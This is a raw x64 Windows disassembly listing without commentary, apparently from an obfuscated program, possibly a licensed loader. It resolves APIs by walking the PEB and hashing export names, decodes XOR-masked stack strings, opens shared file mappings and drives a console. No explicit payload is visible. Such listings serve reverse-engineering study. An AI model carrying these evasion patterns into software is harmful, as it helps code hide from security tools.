movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x7ff7b50b4c80
cmp ebx, 0xa5ff9c55
je 0x7ff7b50b4ca8
test r8d, r8d
jne 0x7ff7b50b4c60
mov rax, qword [rax]
jmp 0x7ff7b50b4c30
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov eax, dword [rcx + rax*4]
add rax, r9
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], r12d
xor r9d, r9d
lea rbx, [0x7ff7b50b69a0]
mov r8, rbx
xor edx, edx
xor ecx, ecx
call rax
mov qword [0x7ff7b50d0108], rax
cmp rax, 0xffffffffffffffff
jne 0x7ff7b50b4dae
mov rcx, qword [0x7ff7b50d0df0]
mov rax, qword [rcx]
mov edx, 2
call qword [rax + 0x78]
mov rbx, rax
mov rdx, rax
lea rcx, [0x7ff7b50c6598]
call fcn.7ff7b50c05b0
mov rcx, qword [0x7ff7b50d0df0]
mov rdx, qword [rcx]
mov rdi, qword [rdx + 0x38]
mov rax, qword [0x7ff7b50d03b8]
sub rsi, rax
cmp rsi, 4
jb 0x7ff7b50b696a
lea r9, [0x7ff7b50d03a8]
cmp qword [0x7ff7b50d03c0], 0x10
cmovae r9, qword [0x7ff7b50d03a8]
mov qword [rsp + 0x30], 4
lea rcx, [0x7ff7b50c65a0]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
lea r8, [0x7ff7b50d03a8]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x560]
call fcn.7ff7b509a610
nop
mov r8, rbx
lea rdx, [rbp + 0x560]
lea rcx, [rbp + 0x40]
call fcn.7ff7b5091c70
mov rdx, rax
mov rcx, qword [0x7ff7b50d0df0]
call rdi
nop
lea rcx, [rbp + 0x560]
call fcn.7ff7b509bbf0
jmp 0x7ff7b50b68bb
mov rax, qword [0x7ff7b50d0df0]
mov dword [rax + 0x2c8], 1
mov rax, qword [0x7ff7b50d0df0]
mov qword [rax + 0x2d0], rbx
movabs rax, 0x90f747038d31e511
mov qword [rbp + 0x530], rax
movabs rax, 0xf632543e64af3d06
mov qword [rbp + 0x538], rax
movabs rax, 0x5720947deb937b4b
mov qword [rbp + 0x540], rax
movabs r13, 0x57ba92e040cd6ec8
mov qword [rbp + 0x548], r13
movabs rax, 0xff843466ff41957e
mov qword [rbp - 0x80], rax
movabs rax, 0xa9563d5205d96274
mov qword [rbp - 0x78], rax
movabs rax, 0x5720e70e8ef0182a
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x68], r13
movdqa xmm0, xmmword [rbp + 0x530]
pxor xmm0, xmmword [rbp - 0x80]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmm1, xmmword [rbp + 0x540]
pxor xmm1, xmmword [rbp - 0x70]
movdqa xmmword [rbp - 0x70], xmm1
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov edi, dword [rcx + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x7ff7b50b4ef3
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x7ff7b50b4ef3
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r9 + r8*4]
mov edx, dword [rcx + r11]
add rdx, r9
mov ebx, 0x8ded150a
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x7ff7b50b4eee
nop dword [rax]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x7ff7b50b4ed0
cmp ebx, 0x592703c0
je 0x7ff7b50b4ef8
test r8d, r8d
jne 0x7ff7b50b4eb0
mov rax, qword [rax]
jmp 0x7ff7b50b4e80
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov eax, dword [rcx + rax*4]
add rax, r9
lea r8, [rbp - 0x80]
xor edx, edx
mov ecx, 0x1f0001
call rax
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x7ff7b50b67ca
lea rsi, [rbp + 0x1d0]
cmp qword [rbp + 0x1e8], 0x10
cmovae rsi, qword [rbp + 0x1d0]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov edi, dword [rcx + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x7ff7b50b4fd3
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x7ff7b50b4fd3
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r9 + r8*4]
mov edx, dword [rcx + r11]
add rdx, r9
mov ebx, 0x31ec2093
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x7ff7b50b4fce
nop dword [rax]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x7ff7b50b4fb0
cmp ebx, 0xfb33fe05
je 0x7ff7b50b4fd8
test r8d, r8d
jne 0x7ff7b50b4f90
mov rax, qword [rax]
jmp 0x7ff7b50b4f60
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov eax, dword [rcx + rax*4]
add rax, r9
mov r8, rsi
xor edx, edx
xor ecx, ecx
call rax
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x7ff7b50b66a7
lea r8, [rbp + 0x1f0]
cmp qword [rbp + 0x208], 0x10
cmovae r8, qword [rbp + 0x1f0]
xor edx, edx
mov ecx, 0xf001f
call qword [sym.imp.kernel32.dll_OpenFileMappingA]
mov rbx, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x7ff7b50b657b
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor r8d, r8d
mov edx, 0xf001f
mov rcx, rax
call qword [sym.imp.kernel32.dll_MapViewOfFile]
test rax, rax
jne 0x7ff7b50b516a
call qword [sym.imp.kernel32.dll_GetLastError]
movabs rcx, 0x90f747038d31e511
mov qword [rbp + 0x5b0], rcx
movabs rcx, 0xf632543e64af3d06
mov qword [rbp + 0x5b8], rcx
movabs rcx, 0x5720947deb937b4b
mov qword [rbp + 0x5c0], rcx
mov qword [rbp + 0x5c8], r13
movabs rcx, 0xc4cf699f788c1c05
mov qword [rbp + 0x5d0], rcx
movabs rdx, 0x6bb44ecaa67151ca
mov qword [rbp + 0x5d8], rdx
movabs rcx, 0xfc9e2665ad6cc84a
mov qword [rbp - 0x40], rcx
movabs rcx, 0x865d7451108f5963
mov qword [rbp - 0x38], rcx
movabs rcx, 0x7745f8148db3152e
mov qword [rbp - 0x30], rcx
movabs rcx, 0xf9fb2cd60954be0
mov qword [rbp - 0x28], rcx
movabs rcx, 0xc4cf699556a2322c
mov qword [rbp - 0x20], rcx
mov qword [rbp - 0x18], rdx
movdqa xmm0, xmmword [rbp + 0x5b0]
pxor xmm0, xmmword [rbp - 0x40]
movdqa xmmword [rbp - 0x40], xmm0
movdqa xmm1, xmmword [rbp + 0x5c0]
pxor xmm1, xmmword [rbp - 0x30]
movdqa xmmword [rbp - 0x30], xmm1
movdqa xmm0, xmmword [rbp + 0x5d0]
pxor xmm0, xmmword [rbp - 0x20]
movdqa xmmword [rbp - 0x20], xmm0
mov r8d, eax
mov rdx, rbx
lea rcx, [rbp - 0x40]
call fcn.7ff7b50c05b0
mov rcx, rbx
call qword [sym.imp.kernel32.dll_CloseHandle]
mov ecx, 0x3e8
call qword [sym.imp.kernel32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.kernel32.dll_ExitProcess]
mov dword [rax], 1
mov ecx, dword [rax + 4]
test ecx, ecx
je 0x7ff7b50b517c
call fcn.7ff7b50bf3e0
lea rdx, [0x7ff7b50d03a8]
cmp qword [0x7ff7b50d03c0], 0x10
cmovae rdx, qword [0x7ff7b50d03a8]
cmp qword [0x7ff7b50d0320], 0x10
cmovae r14, qword [0x7ff7b50d0308]
mov r8, qword [0x7ff7b50d0318]
cmp r8, qword [0x7ff7b50d03b8]
jne 0x7ff7b50b653b
mov rcx, r14
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x7ff7b50b653b
lea rsi, [rbp + 0x1d0]
cmp qword [rbp + 0x1e8], 0x10
cmovae rsi, qword [rbp + 0x1d0]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov edi, dword [rcx + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x7ff7b50b5263
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x7ff7b50b5263
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r11 + r8*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov ebx, 0xe50b25ed
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x7ff7b50b525e
nop dword [rax]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x7ff7b50b5240
cmp ebx, 0xf0ce832b
je 0x7ff7b50b5268
test r8d, r8d
jne 0x7ff7b50b5220
mov rax, qword [rax]
jmp 0x7ff7b50b51f0
mov edx, dword [rdi + 0x1c]
add rdx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov eax, dword [rdx + rax*4]
add rax, r9
mov r8, rsi
xor edx, edx
mov ecx, 0x1f0001
call rax
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x7ff7b50b64fb
mov rax, qword [0x7ff7b50d0df0]
mov rcx, qword [rax]
mov r14, qword [rcx + 8]
lea rax, [rbp + 0x40]
mov qword [rbp + 0x530], rax
lea rdx, [0x7ff7b50d0408]
lea rcx, [rbp + 0x40]
call fcn.7ff7b509a340
mov rsi, rax
lea rax, [rbp + 0x60]
mov qword [rbp + 0x590], rax
lea rdx, [0x7ff7b50d03e8]
lea rcx, [rbp + 0x60]
call fcn.7ff7b509a340
mov rdi, rax
lea rax, [rbp + 0xe0]
mov qword [rbp - 8], rax
lea rdx, [0x7ff7b50d03a8]
lea rcx, [rbp + 0xe0]
call fcn.7ff7b509a340
mov rbx, rax
lea rdx, [0x7ff7b50d0348]
lea rcx, [rbp + 0xc0]
call fcn.7ff7b509a340
nop
mov qword [rsp + 0x20], rsi
mov r9, rdi
mov r8, rbx
mov rdx, rax
mov rcx, qword [0x7ff7b50d0df0]
call r14
mov rcx, qword [0x7ff7b50d0df0]
test al, al
mov rax, qword [rcx]
jne 0x7ff7b50b5395
mov edx, 4
call qword [rax + 0x78]
mov rdx, rax
lea rcx, [0x7ff7b50c6598]
call fcn.7ff7b50c05b0
mov rcx, qword [0x7ff7b50d0df0]
mov rax, qword [rcx]
mov rbx, qword [rax + 0x40]
mov edx, 4
call qword [rax + 0x78]
lea rcx, [rbp + 0x560]
mov rdx, rax
call fcn.7ff7b509a420
mov rdx, rax
mov rcx, qword [0x7ff7b50d0df0]
call rbx
mov ecx, 0x1388
call qword [sym.imp.kernel32.dll_Sleep]
jmp 0x7ff7b50b68bb
call qword [rax]
test al, al
jne 0x7ff7b50b547e
mov rdx, qword [0x7ff7b50d0df0]
add rdx, 8
cmp qword [rdx + 0x18], 0x10
jb 0x7ff7b50b53b4
mov rdx, qword [rdx]
movabs rax, 0x90f747038d31e511
mov qword [rbp + 0x510], rax
movabs rax, 0xf632543e64af3d06
mov qword [rbp + 0x518], rax
movabs rax, 0x5720947deb937b4b
mov qword [rbp + 0x520], rax
mov qword [rbp + 0x528], r13
movabs rcx, 0xfc9e2665ad6cc84a
mov qword [rbp + 0x170], rcx
movabs rcx, 0x82417451108f5963
mov qword [rbp + 0x178], rcx
movabs rax, 0x3846fa14cbe7092a
mov qword [rbp + 0x180], rax
movabs rax, 0x57b0bcce69be4be0
mov qword [rbp + 0x188], rax
movdqa xmm0, xmmword [rbp + 0x510]
pxor xmm0, xmmword [rbp + 0x170]
movdqa xmmword [rbp + 0x170], xmm0
movdqa xmm1, xmmword [rbp + 0x520]
pxor xmm1, xmmword [rbp + 0x180]
movdqa xmmword [rbp + 0x180], xmm1
lea rcx, [rbp + 0x170]
call fcn.7ff7b50c05b0
mov ecx, 0x1388
call qword [sym.imp.kernel32.dll_Sleep]
jmp 0x7ff7b50b68bb
mov ecx, 0xfffffff5
call qword [sym.imp.kernel32.dll_GetStdHandle]
mov rbx, rax
mov rcx, qword [0x7ff7b50d0df0]
add rcx, 0x190
cmp qword [rcx + 0x18], 0x10
jb 0x7ff7b50b54a4
mov rcx, qword [rcx]
call qword [sym.imp.ucrtbase.dll_atoi]
or ax, 8
movzx edx, ax
mov rcx, rbx
call qword [sym.imp.kernel32.dll_SetConsoleTextAttribute]
mov rcx, qword [0x7ff7b50d0df0]
add rcx, 0xd0
cmp qword [rcx + 0x18], 0x10
jb 0x7ff7b50b54d2
mov rcx, qword [rcx]
call qword [sym.imp.kernel32.dll_SetConsoleTitleA]
cmp qword [0x7ff7b50d02a0], 0x10
cmovae r15, qword [0x7ff7b50d0288]
mov rdx, qword [0x7ff7b50d0df0]
add rdx, 0xd0
cmp qword [rdx + 0x18], 0x10
jb 0x7ff7b50b5500
mov rdx, qword [rdx]
movabs r14, 0x90f747038d31e511
mov qword [rbp + 0x660], r14
movabs rax, 0xf632543e64af3d06
mov qword [rbp + 0x668], rax
movabs rsi, 0x5720947deb937b4b
mov qword [rbp + 0x670], rsi
mov qword [rbp + 0x678], r13
movabs rax, 0xe2963370ad6cce4a
mov qword [rbp], rax
movabs rax, 0xd641711e03c15472
mov qword [rbp + 8], rax
movabs rax, 0x57209e2098b60d10
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], r13
movdqa xmm0, xmmword [rbp + 0x660]
pxor xmm0, xmmword [rbp]
movdqa xmmword [rbp], xmm0
movdqa xmm1, xmmword [rbp + 0x670]
pxor xmm1, xmmword [rbp + 0x10]
movdqa xmmword [rbp + 0x10], xmm1
mov r8, r15
lea rcx, [rbp]
call fcn.7ff7b50c0950
mov rdx, qword [0x7ff7b50d0df0]
cmp qword [rdx + 0x180], 0
je 0x7ff7b50b55c6
add rdx, 0x170
cmp qword [rdx + 0x18], 0x10
jb 0x7ff7b50b55ba
mov rdx, qword [rdx]
lea rcx, [0x7ff7b50c65a8]
call fcn.7ff7b50c0950
mov ecx, 0x3e8
call qword [sym.imp.kernel32.dll_Sleep]
mov rdx, qword [0x7ff7b50d0df0]
mov rax, qword [rdx]
mov rdi, qword [rax + 0x28]
lea rax, [rbp + 0x100]
mov qword [rbp + 0x530], rax
add rdx, 0xb0
lea rcx, [rbp + 0x100]
call fcn.7ff7b509a340
mov rbx, rax
lea rdx, [0x7ff7b50d03a8]
lea rcx, [rbp + 0x80]
call fcn.7ff7b509a340
nop
mov r8, rbx
mov rdx, rax
mov rcx, qword [0x7ff7b50d0df0]
call rdi
test al, al
jne 0x7ff7b50b56f9
mov rdx, qword [0x7ff7b50d0df0]
add rdx, 8
cmp qword [rdx + 0x18], 0x10
jb 0x7ff7b50b5643
mov rdx, qword [rdx]
mov qword [rbp + 0x510], r14
movabs rax, 0xf632543e64af3d06
mov qword [rbp + 0x518], rax
mov qword [rbp + 0x520], rsi
mov qword [rbp + 0x528], r13
movabs rcx, 0xfc9e2665ad6cc84a
mov qword [rbp + 0x170], rcx
movabs rax, 0x995e7451108f5963
mov qword [rbp + 0x178], rax
movabs rax, 0x7e53b155cbfd122c
mov qword [rbp + 0x180], rax
movabs rax, 0x57ba92e040cd6ec2
mov qword [rbp + 0x188], rax
movdqa xmm0, xmmword [rbp + 0x510]
pxor xmm0, xmmword [rbp + 0x170]
movdqa xmmword [rbp + 0x170], xmm0
movdqa xmm1, xmmword [rbp + 0x520]
pxor xmm1, xmmword [rbp + 0x180]
movdqa xmmword [rbp + 0x180], xmm1
lea rcx, [rbp + 0x170]
call fcn.7ff7b50c05b0
mov ecx, 0x7d0
call qword [sym.imp.kernel32.dll_Sleep]
jmp 0x7ff7b50b68bb
mov r14d, r12d
mov rbx, qword [0x7ff7b50d0df0]
mov rsi, qword [rbx + 0x2b0]
mov r15, qword [rbx + 0x2b8]
cmp rsi, r15
je 0x7ff7b50b59d3
lea r13, [0x7ff7b5090000]
mov rax, rsi
lea rcx, [rbp + 0x230]
mov edx, 2
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x7ff7b50b5730
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
mov eax, dword [rax + 0x30]
mov dword [rcx + 0x30], eax
mov qword [rbp + 0xb8], r12
lea rdx, [rbx + 0x230]
mov byte [rsp + 0x20], 0
mov r9b, 1
lea r8, [rbp + 0x80]
lea rcx, [rbp + 0x170]
call fcn.7ff7b5097970
nop
mov qword [rbp + 0x590], r12
mov qword [rbp + 0x5a0], r12
mov qword [rbp + 0x5a8], 0xf
mov byte [rbp + 0x590], 0
lea rax, [rbp + 0x234]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x7ff7b50b57f6
lea rdx, [rbp + 0x234]
lea rcx, [rbp + 0x590]
call fcn.7ff7b509fc20
nop
cmp byte [rbp + 0x170], 1
jne 0x7ff7b50b5927
mov rdi, qword [rbp + 0x178]
lea r8, [rbp + 0x590]
lea rdx, [rbp + 0x530]
mov rcx, rdi
call fcn.7ff7b50936e0
mov rbx, qword [rbp + 0x540]
cmp byte [rbx + 0x19], 0
jne 0x7ff7b50b5862
lea r8, [rbx + 0x20]
lea rdx, [rbp + 0x590]
mov rcx, rdi
call fcn.7ff7b5091e70
test al, al
je 0x7ff7b50b5865
mov rbx, qword [rdi]
mov rax, qword [rbp + 0x178]
cmp rbx, qword [rax]
je 0x7ff7b50b5927
lea rdx, [rbp + 0x590]
lea rcx, [rbp + 0x170]
call fcn.7ff7b509cc40
movzx ecx, byte [rax]
sub cl, 5
cmp cl, 1
ja 0x7ff7b50b5927
lea rdx, [rbp + 0x590]
lea rcx, [rbp + 0x170]
call fcn.7ff7b509cc40
mov rdi, rax
movzx ebx, byte [rax]
cmp ebx, 9
ja case.0x7ff7b50b58c4.0
mov edx, dword [r13 + rbx*4 + 0x26970]
add rdx, r13
jmp rdx
cmp bl, 6
jne 0x7ff7b50b58d3
add rdi, 8
mov ebx, dword [rdi]
jmp 0x7ff7b50b592a
mov rdi, r12
mov ebx, dword [r12]
jmp 0x7ff7b50b592a
sub bl, 5
cmp bl, 1
jbe 0x7ff7b50b58ed
mov rdi, r12
mov ebx, dword [r12]
jmp 0x7ff7b50b592a
add rdi, 8
mov ebx, dword [rdi]
jmp 0x7ff7b50b592a
cmp bl, 7
jne 0x7ff7b50b5904
add rdi, 8
cvttsd2si ebx, qword [rdi]
jmp 0x7ff7b50b592a
mov rdi, r12
cvttsd2si ebx, qword [r12]
jmp 0x7ff7b50b592a
cmp bl, 4
jne 0x7ff7b50b591d
add rdi, 8
movzx ebx, byte [rdi]
jmp 0x7ff7b50b592a
mov rdi, r12
movzx ebx, byte [r12]
jmp 0x7ff7b50b592a
mov ebx, r12d
lea rcx, [rbp + 0x590]
call fcn.7ff7b509bbf0
test ebx, ebx
jne 0x7ff7b50b5950
movzx edx, byte [rbp + 0x170]
lea rcx, [rbp + 0x178]
call fcn.7ff7b50a66f0
nop
jmp 0x7ff7b50b59b2
lea rcx, [rbp + 0x234]
mov rax, 0xffffffffffffffff
nop
inc rax
cmp byte [rcx + rax], 0
jne 0x7ff7b50b5960
lea rcx, [0x7ff7b50d02a8]
cmp qword [0x7ff7b50d02c0], 0x10
cmovae rcx, qword [0x7ff7b50d02a8]
mov r8, qword [0x7ff7b50d02b8]
cmp r8, rax
jne 0x7ff7b50b599e
lea rdx, [rbp + 0x234]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
cmove r14d, ebx
movzx edx, byte [rbp + 0x170]
lea rcx, [rbp + 0x178]
call fcn.7ff7b50a66f0
nop
add rsi, 0x134
mov rbx, qword [0x7ff7b50d0df0]
cmp rsi, r15
jne 0x7ff7b50b5721
movabs r13, 0x57ba92e040cd6ec8
lea rdx, [rbx + 0x1f0]
cmp qword [rdx + 0x18], 0x10
jb 0x7ff7b50b59e4
mov rdx, qword [rdx]
movabs r12, 0x90f747038d31e511
mov qword [rbp + 0x620], r12
movabs rsi, 0xf632543e64af3d06
mov qword [rbp + 0x628], rsi
movabs r15, 0x5720947deb937b4b
mov qword [rbp + 0x630], r15
mov qword [rbp + 0x638], r13
movabs rax, 0xc4cf699f788c1c05
mov qword [rbp + 0x640], rax
movabs rax, 0x6bb44ecaa67151ca
mov qword [rbp + 0x648], rax
movabs rax, 0xf39b2274ad6cce4a
mov qword [rbp + 0x5b0], rax
movabs rax, 0x9d51355c44ca5069
mov qword [rbp + 0x5b8], rax
movabs rax, 0x224fed5dc7e05e6b
mov qword [rbp + 0x5c0], rax
movabs rax, 0x77d3b7c033ac06e8
mov qword [rbp + 0x5c8], rax
movabs rax, 0xa2aa05bf0bf57d61
mov qword [rbp + 0x5d0], rax
movabs rax, 0x6bb44ecaa6715bbe
mov qword [rbp + 0x5d8], rax
movdqa xmm0, xmmword [rbp + 0x620]
pxor xmm0, xmmword [rbp + 0x5b0]
movdqa xmmword [rbp + 0x5b0], xmm0
movdqa xmm1, xmmword [rbp + 0x5c0]
pxor xmm1, xmmword [rbp + 0x630]
movdqa xmmword [rbp + 0x5c0], xmm1
movdqa xmm0, xmmword [rbp + 0x5d0]
pxor xmm0, xmmword [rbp + 0x640]
movdqa xmmword [rbp + 0x5d0], xmm0
mov r8d, r14d
lea rcx, [rbp + 0x5b0]
call fcn.7ff7b50c0950
mov ecx, 0x1f4
call qword [sym.imp.kernel32.dll_Sleep]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov edi, dword [rcx + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x7ff7b50b5b93
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x7ff7b50b5b93
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r9 + r8*4]
mov edx, dword [rcx + r11]
add rdx, r9
mov ebx, 0x512f3dc6
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x7ff7b50b5b8e
nop dword [rax]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x7ff7b50b5b70
cmp ebx, 0x5832d9b5
je 0x7ff7b50b5b98
test r8d, r8d
jne 0x7ff7b50b5b50
mov rax, qword [rax]
jmp 0x7ff7b50b5b20
mov edx, dword [rdi + 0x1c]
add rdx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rdx + rax*4]
add rdx, r9
mov rcx, qword [0x7ff7b50d0108]
call rdx
mov ecx, 0x1f4
call qword [sym.imp.kernel32.dll_Sleep]
lea rax, [rbp + 0x120]
mov qword [rbp + 0x530], rax
mov rax, qword [0x7ff7b50d0df0]
mov rcx, qword [rax]
mov rdi, qword [rcx + 0x68]
mov qword [rbp + 0x5e0], r12
mov qword [rbp + 0x5e8], rsi
mov qword [rbp + 0x5f0], r15
mov qword [rbp + 0x5f8], r13
movabs rax, 0xe087265ce358847c
mov qword [rbp + 0x20], rax
movabs rax, 0x985d3d4a05cc546a
mov qword [rbp + 0x28], rax
movabs rax, 0x5720947d85fa1965
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], r13
movdqa xmm0, xmmword [rbp + 0x5e0]
pxor xmm0, xmmword [rbp + 0x20]
movdqa xmmword [rbp + 0x20], xmm0
movdqa xmm1, xmmword [rbp + 0x30]
pxor xmm1, xmmword [rbp + 0x5f0]
movdqa xmmword [rbp + 0x30], xmm1
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x120]
call fcn.7ff7b509a420
mov rsi, rax
lea rax, [rbp + 0x140]
mov qword [rbp + 0x590], rax
mov rdx, qword [0x7ff7b50d0df0]
add rdx, 0x1f0
cmp qword [rdx + 0x18], 0x10
jb 0x7ff7b50b5c86
mov rdx, qword [rdx]
lea rcx, [rbp + 0x140]
call fcn.7ff7b509a420
mov rbx, rax
lea rdx, [0x7ff7b50d02a8]
lea rcx, [rbp - 0x40]
call fcn.7ff7b509a340
nop
mov qword [rsp + 0x20], rsi
mov r9, rbx
mov r8, rax
lea rdx, [rbp + 0x210]
mov rcx, qword [0x7ff7b50d0df0]
call rdi
nop
mov rbx, qword [rbp + 0x220]
test rbx, rbx
jne 0x7ff7b50b5d8d
mov rdx, qword [0x7ff7b50d0df0]
add rdx, 8
cmp qword [rdx + 0x18], 0x10
jb 0x7ff7b50b5ce7
mov rdx, qword [rdx]
mov qword [rbp + 0x510], r12
movabs rax, 0xf632543e64af3d06
mov qword [rbp + 0x518], rax
mov qword [rbp + 0x520], r15
mov qword [rbp + 0x528], r13
movabs rcx, 0xfc9e2665ad6cc84a
mov qword [rsp + 0x50], rcx
movabs rax, 0x99567451108f5963
mov qword [rsp + 0x58], rax
movabs rax, 0x3300f01c84ff153c
mov qword [rsp + 0x60], rax
movabs rax, 0x57ba989365ed02a4
mov qword [rsp + 0x68], rax
movdqa xmm0, xmmword [rbp + 0x510]
pxor xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [rsp + 0x60]
pxor xmm1, xmmword [rbp + 0x520]
movdqa xmmword [rsp + 0x60], xmm1
lea rcx, [rsp + 0x50]
call fcn.7ff7b50c05b0
nop
lea rcx, [rbp + 0x210]
call fcn.7ff7b509bbf0
jmp 0x7ff7b50b68bb
lea rdi, [rbp + 0x210]
cmp qword [rbp + 0x228], 0x10
cmovae rdi, qword [rbp + 0x210]
mov ecx, ebx
add ecx, 0x64
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call qword [sym.imp.ucrtbase.dll_malloc]
mov r14, rax
mov rdx, rax
sub rdi, rax
inc ebx
nop word [rax + rax]
movzx ecx, byte [rdi + rdx]
add cl, 9
mov byte [rdx], cl
lea rdx, [rdx + 1]
sub rbx, 1
jne 0x7ff7b50b5dd0
test r14, r14
jne 0x7ff7b50b5e9a
call qword [sym.imp.kernel32.dll_GetLastError]
mov qword [rbp + 0x510], r12
movabs rcx, 0xf632543e64af3d06
mov qword [rbp + 0x518], rcx
mov qword [rbp + 0x520], r15
mov qword [rbp + 0x528], r13
movabs rcx, 0xfc9e2665ad6cc84a
mov qword [rsp + 0x50], rcx
movabs rcx, 0x93567451108f5963
mov qword [rsp + 0x58], rcx
movabs rcx, 0x3b44b4099bfa0928
mov qword [rsp + 0x60], rcx
movabs rcx, 0x57ba98c918e846a4
mov qword [rsp + 0x68], rcx
movdqa xmm0, xmmword [rbp + 0x510]
pxor xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [rsp + 0x60]
pxor xmm1, xmmword [rbp + 0x520]
movdqa xmmword [rsp + 0x60], xmm1
mov edx, eax
lea rcx, [rsp + 0x50]
call fcn.7ff7b50c05b0
nop
lea rcx, [rbp + 0x210]
call fcn.7ff7b509bbf0
jmp 0x7ff7b50b68bb
mov qword [rbp + 0x600], r12
movabs rax, 0xf632543e64af3d06
mov qword [rbp + 0x608], rax
mov qword [rbp + 0x610], r15
mov qword [rbp + 0x618], r13
movabs rax, 0xfd96295cf85f807c
mov qword [rbp - 0x60], rax
movabs rax, 0x8457204a05df6263
mov qword [rbp - 0x58], rax
movabs rax, 0x5720947deb937b25
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], r13
movdqa xmm0, xmmword [rbp + 0x600]
pxor xmm0, xmmword [rbp - 0x60]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [rbp - 0x50]
pxor xmm1, xmmword [rbp + 0x610]
movdqa xmmword [rbp - 0x50], xmm1
lea r9, [0x7ff7b50c65b0]
lea r8, [rbp - 0x60]
mov rdx, qword [rbp + 0x220]
mov rcx, r14
call fcn.7ff7b50ae1b0
mov rdx, rax
test rax, rax
je 0x7ff7b50b5f5e
mov rcx, qword [0x7ff7b50d0df0]
add rcx, 0xb0
cmp qword [rcx + 0x18], 0x10
